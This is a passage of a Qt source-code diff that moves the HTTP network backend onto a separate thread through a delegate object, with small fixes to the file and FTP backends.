 
diff --git a/src/network/access/qnetworkaccessfilebackend.cpp b/src/network/access/qnetworkaccessfilebackend.cpp
index 6da0722..7ebf626 100644
--- a/src/network/access/qnetworkaccessfilebackend.cpp
+++ b/src/network/access/qnetworkaccessfilebackend.cpp
@@ -75,6 +75,8 @@ QNetworkAccessFileBackendFactory::create(QNetworkAccessManager::Operation op,
         //
         // this construct here must match the one below in open()
         QFileInfo fi(url.toString(QUrl::RemoveAuthority | QUrl::RemoveFragment | QUrl::RemoveQuery));
+        if ((url.scheme().length()==1) && fi.exists())
+            qWarning("QNetworkAccessFileBackendFactory: URL has no schema set, use file:// for files");
         if (fi.exists() || (op == QNetworkAccessManager::PutOperation && fi.dir().exists()))
             return new QNetworkAccessFileBackend;
     }
diff --git a/src/network/access/qnetworkaccessftpbackend.cpp b/src/network/access/qnetworkaccessftpbackend.cpp
index bad010f..e34e6bb 100644
--- a/src/network/access/qnetworkaccessftpbackend.cpp
+++ b/src/network/access/qnetworkaccessftpbackend.cpp
@@ -307,8 +307,10 @@ void QNetworkAccessFtpBackend::ftpDone()
             // logged in successfully, send the stat requests (if supported)
             QString command = url().path();
             command.prepend(QLatin1String("%1 "));
-            if (supportsSize)
+            if (supportsSize) {
+                ftp->rawCommand(QLatin1String("TYPE I"));
                 sizeId = ftp->rawCommand(command.arg(QLatin1String("SIZE"))); // get size
+            }
             if (supportsMdtm)
                 mdtmId = ftp->rawCommand(command.arg(QLatin1String("MDTM"))); // get modified time
             if (!supportsSize && !supportsMdtm)
diff --git a/src/network/access/qnetworkaccesshttpbackend.cpp b/src/network/access/qnetworkaccesshttpbackend.cpp
index 79c43fa..4908e0a 100644
--- a/src/network/access/qnetworkaccesshttpbackend.cpp
+++ b/src/network/access/qnetworkaccesshttpbackend.cpp
@@ -52,60 +52,19 @@
 #include "QtCore/qdatetime.h"
 #include "QtCore/qelapsedtimer.h"
 #include "QtNetwork/qsslconfiguration.h"
+#include "qhttpthreaddelegate_p.h"
+#include "qthread.h"
 
 #ifndef QT_NO_HTTP
 
 #include <string.h>             // for strchr
 
-QT_BEGIN_NAMESPACE
+Q_DECLARE_METATYPE(QSharedPointer<char>)
 
-enum {
-    DefaultHttpPort = 80,
-    DefaultHttpsPort = 443
-};
+QT_BEGIN_NAMESPACE
 
 class QNetworkProxy;
 
-static QByteArray makeCacheKey(QNetworkAccessHttpBackend *backend, QNetworkProxy *proxy)
-{
-    QByteArray result;
-    QUrl copy = backend->url();
-    bool isEncrypted = copy.scheme().toLower() == QLatin1String("https");
-    copy.setPort(copy.port(isEncrypted ? DefaultHttpsPort : DefaultHttpPort));
-    result = copy.toEncoded(QUrl::RemoveUserInfo | QUrl::RemovePath |
-                            QUrl::RemoveQuery | QUrl::RemoveFragment);
-
-#ifndef QT_NO_NETWORKPROXY
-    if (proxy->type() != QNetworkProxy::NoProxy) {
-        QUrl key;
-
-        switch (proxy->type()) {
-        case QNetworkProxy::Socks5Proxy:
-            key.setScheme(QLatin1String("proxy-socks5"));
-            break;
-
-        case QNetworkProxy::HttpProxy:
-        case QNetworkProxy::HttpCachingProxy:
-            key.setScheme(QLatin1String("proxy-http"));
-            break;
-
-        default:
-            break;
-        }
-
-        if (!key.scheme().isEmpty()) {
-            key.setUserName(proxy->user());
-            key.setHost(proxy->hostName());
-            key.setPort(proxy->port());
-            key.setEncodedQuery(result);
-            result = key.toEncoded();
-        }
-    }
-#endif
-
-    return "http-connection:" + result;
-}
-
 static inline bool isSeparator(register char c)
 {
     static const char separators[] = "()<>@,;:\\\"/[]?={}";
@@ -230,71 +189,13 @@ QNetworkAccessHttpBackendFactory::create(QNetworkAccessManager::Operation op,
     return 0;
 }
 
-static QNetworkReply::NetworkError statusCodeFromHttp(int httpStatusCode, const QUrl &url)
-{
-    QNetworkReply::NetworkError code;
-    // we've got an error
-    switch (httpStatusCode) {
-    case 401:               // Authorization required
-        code = QNetworkReply::AuthenticationRequiredError;
-        break;
-
-    case 403:               // Access denied
-        code = QNetworkReply::ContentOperationNotPermittedError;
-        break;
-
-    case 404:               // Not Found
-        code = QNetworkReply::ContentNotFoundError;
-        break;
-
-    case 405:               // Method Not Allowed
-        code = QNetworkReply::ContentOperationNotPermittedError;
-        break;
-
-    case 407:
-        code = QNetworkReply::ProxyAuthenticationRequiredError;
-        break;
-
-    default:
-        if (httpStatusCode > 500) {
-            // some kind of server error
-            code = QNetworkReply::ProtocolUnknownError;
-        } else if (httpStatusCode >= 400) {
-            // content error we did not handle above
-            code = QNetworkReply::UnknownContentError;
-        } else {
-            qWarning("QNetworkAccess: got HTTP status code %d which is not expected from url: \"%s\"",
-                     httpStatusCode, qPrintable(url.toString()));
-            code = QNetworkReply::ProtocolFailure;
-        }
-    }
-
-    return code;
-}
-
-class QNetworkAccessCachedHttpConnection: public QHttpNetworkConnection,
-                                      public QNetworkAccessCache::CacheableObject
-{
-    // Q_OBJECT
-public:
-    QNetworkAccessCachedHttpConnection(const QString &hostName, quint16 port, bool encrypt)
-        : QHttpNetworkConnection(hostName, port, encrypt)
-    {
-        setExpires(true);
-        setShareable(true);
-    }
-
-    virtual void dispose()
-    {
-#if 0  // sample code; do this right with the API
-        Q_ASSERT(!isWorking());
-#endif
-        delete this;
-    }
-};
-
 QNetworkAccessHttpBackend::QNetworkAccessHttpBackend()
-    : QNetworkAccessBackend(), httpReply(0), http(0), uploadDevice(0)
+    : QNetworkAccessBackend()
+    , statusCode(0)
+    , pendingDownloadDataEmissions(new QAtomicInt())
+    , pendingDownloadProgressEmissions(new QAtomicInt())
+    , loadingFromCache(false)
+    , usingZerocopyDownloadBuffer(false)
 #ifndef QT_NO_OPENSSL
     , pendingSslConfiguration(0), pendingIgnoreAllSslErrors(false)
 #endif
@@ -304,44 +205,14 @@ QNetworkAccessHttpBackend::QNetworkAccessHttpBackend()
 
 QNetworkAccessHttpBackend::~QNetworkAccessHttpBackend()
 {
-    if (http)
-        disconnectFromHttp();
+    // This will do nothing if the request was already finished or aborted
+    emit abortHttpRequest();
+
 #ifndef QT_NO_OPENSSL
     delete pendingSslConfiguration;
 #endif
 }
 
-void QNetworkAccessHttpBackend::disconnectFromHttp()
-{
-    if (http) {
-        // This is abut disconnecting signals, not about disconnecting TCP connections
-        disconnect(http, 0, this, 0);
-
-        // Get the object cache that stores our QHttpNetworkConnection objects
-        QNetworkAccessCache *cache = QNetworkAccessManagerPrivate::getObjectCache(this);
-
-        // synchronous calls are not put into the cache, so for them the key is empty
-        if (!cacheKey.isEmpty())
-            cache->releaseEntry(cacheKey);
-    }
-
-    // This is abut disconnecting signals, not about disconnecting TCP connections
-    if (httpReply)
-        disconnect(httpReply, 0, this, 0);
-
-    http = 0;
-    httpReply = 0;
-    cacheKey.clear();
-}
-
-void QNetworkAccessHttpBackend::finished()
-{
-    if (http)
-        disconnectFromHttp();
-    // call parent
-    QNetworkAccessBackend::finished();
-}
-
 /*
     For a given httpRequest
     1) If AlwaysNetwork, return
@@ -487,9 +358,82 @@ static QHttpNetworkRequest::Priority convert(const QNetworkRequest::Priority& pr
 
 void QNetworkAccessHttpBackend::postRequest()
 {
+    QThread *thread = 0;
+    if (isSynchronous()) {
+        // A synchronous HTTP request uses its own thread
+        thread = new QThread();
+        QObject::connect(thread, SIGNAL(finished()), thread, SLOT(deleteLater()));
+        thread->start();
+    } else if (!manager->httpThread) {
+        // We use the manager-global thread.
+        // At some point we could switch to having multiple threads if it makes sense.
+        manager->httpThread = new QThread();
+        QObject::connect(manager->httpThread, SIGNAL(finished()), manager->httpThread, SLOT(deleteLater()));
+        manager->httpThread->start();
+#ifndef QT_NO_NETWORKPROXY
+        qRegisterMetaType<QNetworkProxy>("QNetworkProxy");
+#endif
+#ifndef QT_NO_OPENSSL
+        qRegisterMetaType<QList<QSslError> >("QList<QSslError>");
+        qRegisterMetaType<QSslConfiguration>("QSslConfiguration");
+#endif
+        qRegisterMetaType<QList<QPair<QByteArray,QByteArray> > >("QList<QPair<QByteArray,QByteArray> >");
+        qRegisterMetaType<QHttpNetworkRequest>("QHttpNetworkRequest");
+        qRegisterMetaType<QNetworkReply::NetworkError>("QNetworkReply::NetworkError");
+        qRegisterMetaType<QSharedPointer<char> >("QSharedPointer<char>");
+
+        thread = manager->httpThread;
+    } else {
+        // Asynchronous request, thread already exists
+        thread = manager->httpThread;
+    }
+
+    QUrl url = request().url();
+    httpRequest.setUrl(url);
+
+    bool ssl = url.scheme().toLower() == QLatin1String("https");
+    setAttribute(QNetworkRequest::ConnectionEncryptedAttribute, ssl);
+    httpRequest.setSsl(ssl);
+
+
+#ifndef QT_NO_NETWORKPROXY
+    QNetworkProxy transparentProxy, cacheProxy;
+
+    foreach (const QNetworkProxy &p, proxyList()) {
+        // use the first proxy that works
+        // for non-encrypted connections, any transparent or HTTP proxy
+        // for encrypted, only transparent proxies
+        if (!ssl
+            && (p.capabilities() & QNetworkProxy::CachingCapability)
+            && (p.type() == QNetworkProxy::HttpProxy ||
+                p.type() == QNetworkProxy::HttpCachingProxy)) {
+            cacheProxy = p;
+            transparentProxy = QNetworkProxy::NoProxy;
+            break;
+        }
+        if (p.isTransparentProxy()) {
+            transparentProxy = p;
+            cacheProxy = QNetworkProxy::NoProxy;
+            break;
+        }
+    }
+
+    // check if at least one of the proxies
+    if (transparentProxy.type() == QNetworkProxy::DefaultProxy &&
+        cacheProxy.type() == QNetworkProxy::DefaultProxy) {
+        // unsuitable proxies
+        QMetaObject::invokeMethod(this, "error", isSynchronous() ? Qt::DirectConnection : Qt::QueuedConnection,
+                                  Q_ARG(QNetworkReply::NetworkError, QNetworkReply::ProxyNotFoundError),
+                                  Q_ARG(QString, tr("No suitable proxy found")));
+        QMetaObject::invokeMethod(this, "finished", isSynchronous() ? Qt::DirectConnection : Qt::QueuedConnection);
+        return;
+    }
+#endif
+
+
     bool loadedFromCache = false;
-    QHttpNetworkRequest httpRequest;
     httpRequest.setPriority(convert(request().priority()));
+
     switch (operation()) {
     case QNetworkAccessManager::GetOperation:
         httpRequest.setOperation(QHttpNetworkRequest::Get);
@@ -504,13 +448,13 @@ void QNetworkAccessHttpBackend::postRequest()
     case QNetworkAccessManager::PostOperation:
         invalidateCache();
         httpRequest.setOperation(QHttpNetworkRequest::Post);
-        httpRequest.setUploadByteDevice(createUploadByteDevice());
+        createUploadByteDevice();
         break;
 
     case QNetworkAccessManager::PutOperation:
         invalidateCache();
         httpRequest.setOperation(QHttpNetworkRequest::Put);
-        httpRequest.setUploadByteDevice(createUploadByteDevice());
+        createUploadByteDevice();
         break;
 
     case QNetworkAccessManager::DeleteOperation:
@@ -521,7 +465,7 @@ void QNetworkAccessHttpBackend::postRequest()
     case QNetworkAccessManager::CustomOperation:
         invalidateCache(); // for safety reasons, we don't know what the operation does
         httpRequest.setOperation(QHttpNetworkRequest::Custom);
-        httpRequest.setUploadByteDevice(createUploadByteDevice());
+        createUploadByteDevice();
         httpRequest.setCustomVerb(request().attribute(
                 QNetworkRequest::CustomVerbAttribute).toByteArray());
         break;
@@ -530,11 +474,6 @@ void QNetworkAccessHttpBackend::postRequest()
         break;                  // can't happen
     }
 
-    bool encrypt = (url().scheme().toLower() == QLatin1String("https"));
-    httpRequest.setSsl(encrypt);
-
-    httpRequest.setUrl(url());
-
     QList<QByteArray> headers = request().rawHeaderList();
     if (resumeOffset != 0) {
         if (headers.contains("Range")) {
@@ -558,6 +497,7 @@ void QNetworkAccessHttpBackend::postRequest()
             httpRequest.setHeaderField("Range", "bytes=" + QByteArray::number(resumeOffset) + '-');
         }
     }
+
     foreach (const QByteArray &header, headers)
         httpRequest.setHeaderField(header, request().rawHeader(header));
 
@@ -576,30 +516,155 @@ void QNetworkAccessHttpBackend::postRequest()
                              QNetworkRequest::Automatic).toInt()) == QNetworkRequest::Manual)
         httpRequest.setWithCredentials(false);
 
-    httpReply = http->sendRequest(httpRequest);
-    httpReply->setParent(this);
+
+    // Create the HTTP thread delegate
+    QHttpThreadDelegate *delegate = new QHttpThreadDelegate;
+
+    // For the synchronous HTTP, this is the normal way the delegate gets deleted
+    // For the asynchronous HTTP this is a safety measure, the delegate deletes itself when HTTP is finished
+    connect(thread, SIGNAL(finished()), delegate, SLOT(deleteLater()));
+
+    // Set the properties it needs
+    delegate->httpRequest = httpRequest;
+#ifndef QT_NO_NETWORKPROXY
+    delegate->cacheProxy = cacheProxy;
+    delegate->transparentProxy = transparentProxy;
+#endif
+    delegate->ssl = ssl;
 #ifndef QT_NO_OPENSSL
-    if (pendingSslConfiguration)
-        httpReply->setSslConfiguration(*pendingSslConfiguration);
-    if (pendingIgnoreAllSslErrors)
-        httpReply->ignoreSslErrors();
-    httpReply->ignoreSslErrors(pendingIgnoreSslErrorsList);
-    connect(httpReply, SIGNAL(sslErrors(QList<QSslError>)),
-            SLOT(sslErrors(QList<QSslError>)));
+    if (ssl)
+        delegate->incomingSslConfiguration = request().sslConfiguration();
 #endif
 
-    connect(httpReply, SIGNAL(finished()), SLOT(replyFinished()));
-    connect(httpReply, SIGNAL(finishedWithError(QNetworkReply::NetworkError,QString)),
-            SLOT(httpError(QNetworkReply::NetworkError,QString)));
-    connect(httpReply, SIGNAL(headerChanged()), SLOT(replyHeaderChanged()));
-    connect(httpReply, SIGNAL(cacheCredentials(QHttpNetworkRequest,QAuthenticator*)),
-            SLOT(httpCacheCredentials(QHttpNetworkRequest,QAuthenticator*)));
+    // Do we use synchronous HTTP?
+    delegate->synchronous = isSynchronous();
+
+    // The authentication manager is used to avoid the BlockingQueuedConnection communication
+    // from HTTP thread to user thread in some cases.
+    delegate->authenticationManager = manager->authenticationManager;
+
+    if (!isSynchronous()) {
+        // Tell our zerocopy policy to the delegate
+        delegate->downloadBufferMaximumSize =
+                request().attribute(QNetworkRequest::MaximumDownloadBufferSizeAttribute).toLongLong();
+
+        // These atomic integers are used for signal compression
+        delegate->pendingDownloadData = pendingDownloadDataEmissions;
+        delegate->pendingDownloadProgress = pendingDownloadProgressEmissions;
+
+        // Connect the signals of the delegate to us
+        connect(delegate, SIGNAL(downloadData(QByteArray)),
+                this, SLOT(replyDownloadData(QByteArray)),
+                Qt::QueuedConnection);
+        connect(delegate, SIGNAL(downloadFinished()),
+                this, SLOT(replyFinished()),
+                Qt::QueuedConnection);
+        connect(delegate, SIGNAL(downloadMetaData(QList<QPair<QByteArray,QByteArray> >,int,QString,bool,QSharedPointer<char>,qint64)),
+                this, SLOT(replyDownloadMetaData(QList<QPair<QByteArray,QByteArray> >,int,QString,bool,QSharedPointer<char>,qint64)),
+                Qt::QueuedConnection);
+        connect(delegate, SIGNAL(downloadProgress(qint64,qint64)),
+                this, SLOT(replyDownloadProgressSlot(qint64,qint64)),
+                Qt::QueuedConnection);
+        connect(delegate, SIGNAL(error(QNetworkReply::NetworkError,QString)),
+                this, SLOT(httpError(QNetworkReply::NetworkError, const QString)),
+                Qt::QueuedConnection);
+#ifndef QT_NO_OPENSSL
+        connect(delegate, SIGNAL(sslConfigurationChanged(QSslConfiguration)),
+                this, SLOT(replySslConfigurationChanged(QSslConfiguration)),
+                Qt::QueuedConnection);
+#endif
+        // Those need to report back, therefire BlockingQueuedConnection
+        connect(delegate, SIGNAL(authenticationRequired(QHttpNetworkRequest,QAuthenticator*)),
+                this, SLOT(httpAuthenticationRequired(QHttpNetworkRequest,QAuthenticator*)),
+                Qt::BlockingQueuedConnection);
 #ifndef QT_NO_NETWORKPROXY
-    connect(httpReply, SIGNAL(proxyAuthenticationRequired(QNetworkProxy,QAuthenticator*)),
-            SLOT(proxyAuthenticationRequired(QNetworkProxy,QAuthenticator*)));
+        connect (delegate, SIGNAL(proxyAuthenticationRequired(QNetworkProxy,QAuthenticator*)),
+                 this, SLOT(proxyAuthenticationRequired(QNetworkProxy,QAuthenticator*)),
+                 Qt::BlockingQueuedConnection);
 #endif
-    connect(httpReply, SIGNAL(authenticationRequired(const QHttpNetworkRequest,QAuthenticator*)),
-                SLOT(httpAuthenticationRequired(const QHttpNetworkRequest,QAuthenticator*)));
+#ifndef QT_NO_OPENSSL
+        connect(delegate, SIGNAL(sslErrors(QList<QSslError>,bool*,QList<QSslError>*)),
+                this, SLOT(replySslErrors(const QList<QSslError> &, bool *, QList<QSslError> *)),
+                Qt::BlockingQueuedConnection);
+#endif
+        // This signal we will use to start the request.
+        connect(this, SIGNAL(startHttpRequest()), delegate, SLOT(startRequest()));
+        connect(this, SIGNAL(abortHttpRequest()), delegate, SLOT(abortRequest()));
+
+        if (uploadByteDevice) {
+            QNonContiguousByteDeviceThreadForwardImpl *forwardUploadDevice =
+                    new QNonContiguousByteDeviceThreadForwardImpl(uploadByteDevice->atEnd(), uploadByteDevice->size());
+            if (uploadByteDevice->isResetDisabled())
+                forwardUploadDevice->disableReset();
+            forwardUploadDevice->setParent(delegate); // needed to make sure it is moved on moveToThread()
+            delegate->httpRequest.setUploadByteDevice(forwardUploadDevice);
+
+            // From main thread to user thread:
+            QObject::connect(this, SIGNAL(haveUploadData(QByteArray, bool, qint64)),
+                             forwardUploadDevice, SLOT(haveDataSlot(QByteArray, bool, qint64)), Qt::QueuedConnection);
+            QObject::connect(uploadByteDevice.data(), SIGNAL(readyRead()),
+                             forwardUploadDevice, SIGNAL(readyRead()),
+                             Qt::QueuedConnection);
+
+            // From http thread to user thread:
+            QObject::connect(forwardUploadDevice, SIGNAL(wantData(qint64)),
+                             this, SLOT(wantUploadDataSlot(qint64)));
+            QObject::connect(forwardUploadDevice, SIGNAL(processedData(qint64)),
+                             this, SLOT(sentUploadDataSlot(qint64)));
+            connect(forwardUploadDevice, SIGNAL(resetData(bool*)),
+                    this, SLOT(resetUploadDataSlot(bool*)),
+                    Qt::BlockingQueuedConnection); // this is the only one with BlockingQueued!
+        }
+    } else if (isSynchronous()) {
+        connect(this, SIGNAL(startHttpRequestSynchronously()), delegate, SLOT(startRequestSynchronously()), Qt::BlockingQueuedConnection);
+
+        if (uploadByteDevice) {
+            // For the synchronous HTTP use case the use thread (this one here) is blocked
+            // so we cannot use the asynchronous upload architecture.
+            // We therefore won't use the QNonContiguousByteDeviceThreadForwardImpl but directly
+            // use the uploadByteDevice provided to us by the QNetworkReplyImpl.
+            // The code that is in QNetworkReplyImplPrivate::setup() makes sure it is safe to use from a thread
+            // since it only wraps a QRingBuffer
+            delegate->httpRequest.setUploadByteDevice(uploadByteDevice.data());
+        }
+    }
+
+
+    // Move the delegate to the http thread
+    delegate->moveToThread(thread);
+    // This call automatically moves the uploadDevice too for the asynchronous case.
+
+    // Send an signal to the delegate so it starts working in the other thread
+    if (isSynchronous()) {
+        emit startHttpRequestSynchronously(); // This one is BlockingQueuedConnection, so it will return when all work is done
+
+        if (delegate->incomingErrorCode != QNetworkReply::NoError) {
+            replyDownloadMetaData
+                    (delegate->incomingHeaders,
+                     delegate->incomingStatusCode,
+                     delegate->incomingReasonPhrase,
+                     delegate->isPipeliningUsed,
+                     QSharedPointer<char>(),
+                     delegate->incomingContentLength);
+            httpError(delegate->incomingErrorCode, delegate->incomingErrorDetail);
+        } else {
+            replyDownloadMetaData
+                    (delegate->incomingHeaders,
+                     delegate->incomingStatusCode,
+                     delegate->incomingReasonPhrase,
+                     delegate->isPipeliningUsed,
+                     QSharedPointer<char>(),
+                     delegate->incomingContentLength);
+            replyDownloadData(delegate->synchronousDownloadData);
+        }
+
+        // End the thread. It will delete itself from the finished() signal
+        thread->quit();
+
+        finished();
+    } else {
+        emit startHttpRequest(); // Signal to the HTTP thread and go back to user.
+    }
 }
 
 void QNetworkAccessHttpBackend::invalidateCache()
@@ -611,159 +676,52 @@ void QNetworkAccessHttpBackend::invalidateCache()
 
 void QNetworkAccessHttpBackend::open()
 {
-    QUrl url = request().url();
-    bool encrypt = url.scheme().toLower() == QLatin1String("https");
-    setAttribute(QNetworkRequest::ConnectionEncryptedAttribute, encrypt);
-
-    // set the port number in the reply if it wasn't set
-    url.setPort(url.port(encrypt ? DefaultHttpsPort : DefaultHttpPort));
-
-    QNetworkProxy *theProxy = 0;
-#ifndef QT_NO_NETWORKPROXY
-    QNetworkProxy transparentProxy, cacheProxy;
-
-    foreach (const QNetworkProxy &p, proxyList()) {
-        // use the first proxy that works
-        // for non-encrypted connections, any transparent or HTTP proxy
-        // for encrypted, only transparent proxies
-        if (!encrypt
-            && (p.capabilities() & QNetworkProxy::CachingCapability)
-            && (p.type() == QNetworkProxy::HttpProxy ||
-                p.type() == QNetworkProxy::HttpCachingProxy)) {
-            cacheProxy = p;
-            transparentProxy = QNetworkProxy::NoProxy;
-            theProxy = &cacheProxy;
-            break;
-        }
-        if (p.isTransparentProxy()) {
-            transparentProxy = p;
-            cacheProxy = QNetworkProxy::NoProxy;
-            theProxy = &transparentProxy;
-            break;
-        }
-    }
-
-    // check if at least one of the proxies
-    if (transparentProxy.type() == QNetworkProxy::DefaultProxy &&
-        cacheProxy.type() == QNetworkProxy::DefaultProxy) {
-        // unsuitable proxies
-        if (isSynchronous()) {
-            error(QNetworkReply::ProxyNotFoundError, tr("No suitable proxy found"));
-            finished();
-        } else {
-            QMetaObject::invokeMethod(this, "error", Qt::QueuedConnection,
-                                      Q_ARG(QNetworkReply::NetworkError, QNetworkReply::ProxyNotFoundError),
-                                      Q_ARG(QString, tr("No suitable proxy found")));
-            QMetaObject::invokeMethod(this, "finished", Qt::QueuedConnection);
-        }
-            return;
-    }
-#endif
-
-    if (isSynchronous()) {
-        // for synchronous requests, we just create a new connection
-        http = new QHttpNetworkConnection(1, url.host(), url.port(), encrypt, this);
-#ifndef QT_NO_NETWORKPROXY
-        http->setTransparentProxy(transparentProxy);
-        http->setCacheProxy(cacheProxy);
-#endif
-        postRequest();
-        processRequestSynchronously();
-    } else {
-        // check if we have an open connection to this host
-        cacheKey = makeCacheKey(this, theProxy);
-        QNetworkAccessCache *cache = QNetworkAccessManagerPrivate::getObjectCache(this);
-        // the http object is actually a QHttpNetworkConnection
-        http = static_cast<QNetworkAccessCachedHttpConnection *>(cache->requestEntryNow(cacheKey));
-        if (http == 0) {
-            // no entry in cache; create an object
-            // the http object is actually a QHttpNetworkConnection
-            http = new QNetworkAccessCachedHttpConnection(url.host(), url.port(), encrypt);
-
-#ifndef QT_NO_NETWORKPROXY
-            http->setTransparentProxy(transparentProxy);
-            http->setCacheProxy(cacheProxy);
-#endif
-
-            // cache the QHttpNetworkConnection corresponding to this cache key
-            cache->addEntry(cacheKey, static_cast<QNetworkAccessCachedHttpConnection *>(http.data()));
-        }
-        postRequest();
-    }
+    postRequest();
 }
 
 void QNetworkAccessHttpBackend::closeDownstreamChannel()
 {
-    // this indicates that the user closed the stream while the reply isn't finished yet
+    // FIXME Maybe we can get rid of this whole architecture part
 }
 
 void QNetworkAccessHttpBackend::downstreamReadyWrite()
 {
-    readFromHttp();
-    if (httpReply && httpReply->bytesAvailable() == 0 && httpReply->isFinished())
-        replyFinished();
+    // FIXME Maybe we can get rid of this whole architecture part
 }
 
 void QNetworkAccessHttpBackend::setDownstreamLimited(bool b)
 {
-    if (httpReply)
-        httpReply->setDownstreamLimited(b);
-}
-
-void QNetworkAccessHttpBackend::replyReadyRead()
-{
-    readFromHttp();
+    Q_UNUSED(b);
+    // We know that readBuffer maximum size limiting is broken since quite a while.
+    // The task to fix this is QTBUG-15065
 }
 
-void QNetworkAccessHttpBackend::readFromHttp()
+void QNetworkAccessHttpBackend::replyDownloadData(QByteArray d)
 {
-    if (!httpReply)
+    int pendingSignals = (int)pendingDownloadDataEmissions->fetchAndAddAcquire(-1) - 1;
+
+    if (pendingSignals > 0) {
+        // Some more signal emissions to this slot are pending.
+        // Instead of writing the downstream data, we wait
+        // and do it in the next call we get
+        // (signal comppression)
+        pendingDownloadData.append(d);
         return;
-
-    // We read possibly more than nextDownstreamBlockSize(), but
-    // this is not a critical thing since it is already in the
-    // memory anyway
-
-    QByteDataBuffer list;
-
-    while (httpReply->bytesAvailable() != 0 && nextDownstreamBlockSize() != 0 && nextDownstreamBlockSize() > list.byteAmount()) {
-        list.append(httpReply->readAny());
     }
 
-    if (!list.isEmpty())
-      writeDownstreamData(list);
+    pendingDownloadData.append(d);
+    d.clear();
+    writeDownstreamData(pendingDownloadData);
+    pendingDownloadData.clear();
 }
 
 void QNetworkAccessHttpBackend::replyFinished()
 {
-    if (httpReply->bytesAvailable())
-        // we haven't read everything yet. Wait some more.
+    // We are already loading from cache, we still however
+    // got this signal because it was posted already
+    if (loadingFromCache)
         return;
 
-    int statusCode = httpReply->statusCode();
-    if (statusCode >= 400) {
-        // it's an error reply
-        QString msg = QLatin1String(QT_TRANSLATE_NOOP("QNetworkReply",
-                                                      "Error downloading %1 - server replied: %2"));
-        msg = msg.arg(url().toString(), httpReply->reasonPhrase());
-        error(statusCodeFromHttp(httpReply->statusCode(), httpReply->url()), msg);
-    }
-
-#ifndef QT_NO_OPENSSL
-    // store the SSL configuration now
-    // once we call finished(), we won't have access to httpReply anymore
-    QSslConfiguration sslConfig = httpReply->sslConfiguration();
-    if (pendingSslConfiguration) {
-        *pendingSslConfiguration = sslConfig;
-    } else if (!sslConfig.isNull()) {
-        QT_TRY {
-            pendingSslConfiguration = new QSslConfiguration(sslConfig);
-        } QT_CATCH(...) {
-            qWarning("QNetworkAccess: could not allocate a QSslConfiguration object for a SSL connection.");
-        }
-    }
-#endif
-
     finished();
 }
 
@@ -785,12 +743,27 @@ void QNetworkAccessHttpBackend::checkForRedirect(const int statusCode)
     }
 }
 
-void QNetworkAccessHttpBackend::replyHeaderChanged()
+void QNetworkAccessHttpBackend::replyDownloadMetaData
+        (QList<QPair<QByteArray,QByteArray> > hm,
+         int sc,QString rp,bool pu,
+         QSharedPointer<char> db,
+         qint64 contentLength)
 {
-    setAttribute(QNetworkRequest::HttpPipeliningWasUsedAttribute, httpReply->isPipeliningUsed());
+    statusCode = sc;
+    reasonPhrase = rp;
+
+    // Download buffer
+    if (!db.isNull()) {
+        reply->setDownloadBuffer(db, contentLength);
+        usingZerocopyDownloadBuffer = true;
+    } else {
+        usingZerocopyDownloadBuffer = false;
+    }
+
+    setAttribute(QNetworkRequest::HttpPipeliningWasUsedAttribute, pu);
 
     // reconstruct the HTTP header
-    QList<QPair<QByteArray, QByteArray> > headerMap = httpReply->header();
+    QList<QPair<QByteArray, QByteArray> > headerMap = hm;
     QList<QPair<QByteArray, QByteArray> >::ConstIterator it = headerMap.constBegin(),
                                                         end = headerMap.constEnd();
     QByteArray header;
@@ -807,11 +780,10 @@ void QNetworkAccessHttpBackend::replyHeaderChanged()
         setRawHeader(it->first, value);
     }
 
-    setAttribute(QNetworkRequest::HttpStatusCodeAttribute, httpReply->statusCode());
-    setAttribute(QNetworkRequest::HttpReasonPhraseAttribute, httpReply->reasonPhrase());
+    setAttribute(QNetworkRequest::HttpStatusCodeAttribute, statusCode);
+    setAttribute(QNetworkRequest::HttpReasonPhraseAttribute, reasonPhrase);
 
     // is it a redirection?
-    const int statusCode = httpReply->statusCode();
     checkForRedirect(statusCode);
 
     if (statusCode >= 500 && statusCode < 600) {
@@ -854,29 +826,21 @@ void QNetworkAccessHttpBackend::replyHeaderChanged()
             setCachingEnabled(true);
     }
 
-    // Check if a download buffer is supported from the HTTP reply
-    char *buf = 0;
-    if (httpReply->supportsUserProvidedDownloadBuffer()) {
-        // Check if a download buffer is supported by the user
-        buf = getDownloadBuffer(httpReply->contentLength());
-        if (buf) {
-            httpReply->setUserProvidedDownloadBuffer(buf);
-            // If there is a download buffer we react on the progress signal
-            connect(httpReply, SIGNAL(dataReadProgress(int,int)), SLOT(replyDownloadProgressSlot(int,int)));
-        }
-    }
-
-    // If there is no buffer, we react on the readyRead signal
-    if (!buf) {
-        connect(httpReply, SIGNAL(readyRead()), SLOT(replyReadyRead()));
-    }
-
     metaDataChanged();
 }
 
-void QNetworkAccessHttpBackend::replyDownloadProgressSlot(int received,  int total)
+void QNetworkAccessHttpBackend::replyDownloadProgressSlot(qint64 received,  qint64 total)
 {
     // we can be sure here that there is a download buffer
+
+    int pendingSignals = (int)pendingDownloadProgressEmissions->fetchAndAddAcquire(-1) - 1;
+    if (pendingSignals > 0) {
+        // Let's ignore this signal and look at the next one coming in
+        // (signal comppression)
+        return;
+    }
+
+    // Now do the actual notification of new bytes
     writeDownstreamDataDownloadBuffer(received, total);
 }
 
@@ -886,20 +850,62 @@ void QNetworkAccessHttpBackend::httpAuthenticationRequired(const QHttpNetworkReq
     authenticationRequired(auth);
 }
 
-void QNetworkAccessHttpBackend::httpCacheCredentials(const QHttpNetworkRequest &,
-                                                 QAuthenticator *auth)
-{
-    cacheCredentials(auth);
-}
-
 void QNetworkAccessHttpBackend::httpError(QNetworkReply::NetworkError errorCode,
                                           const QString &errorString)
 {
 #if defined(QNETWORKACCESSHTTPBACKEND_DEBUG)
     qDebug() << "http error!" << errorCode << errorString;
 #endif
+
     error(errorCode, errorString);
-    finished();
+}
+
+#ifndef QT_NO_OPENSSL
+void QNetworkAccessHttpBackend::replySslErrors(
+        const QList<QSslError> &list, bool *ignoreAll, QList<QSslError> *toBeIgnored)
+{
+    // Go to generic backend
+    sslErrors(list);
+    // Check if the callback set any ignore and return this here to http thread
+    if (pendingIgnoreAllSslErrors)
+        *ignoreAll = true;
+    if (!pendingIgnoreSslErrorsList.isEmpty())
+        *toBeIgnored = pendingIgnoreSslErrorsList;
+}
+
+void QNetworkAccessHttpBackend::replySslConfigurationChanged(const QSslConfiguration &c)
+{
+    // Receiving the used SSL configuration from the HTTP thread
+    if (pendingSslConfiguration)
+        *pendingSslConfiguration = c;
+    else if (!c.isNull())
+        pendingSslConfiguration = new QSslConfiguration(c);
+}
+#endif
+
+// Coming from QNonContiguousByteDeviceThreadForwardImpl in HTTP thread
